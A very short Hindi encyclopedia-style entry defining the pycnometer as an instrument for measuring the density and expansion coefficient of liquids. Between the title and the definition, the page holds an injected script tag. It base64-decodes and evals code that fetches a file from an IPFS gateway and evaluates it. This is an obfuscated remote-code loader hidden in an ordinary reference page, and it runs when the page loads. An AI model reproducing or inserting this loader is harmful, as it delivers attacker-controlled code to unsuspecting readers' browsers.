पाइक्नोमीटर
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
(aangrezi:Pycnometer) paiknomitar ek vaijnanik upakaran hai. paiknomitar dravoan ke ghanatv tatha prasar gunaank ka mapan karane vala upakaran hai.
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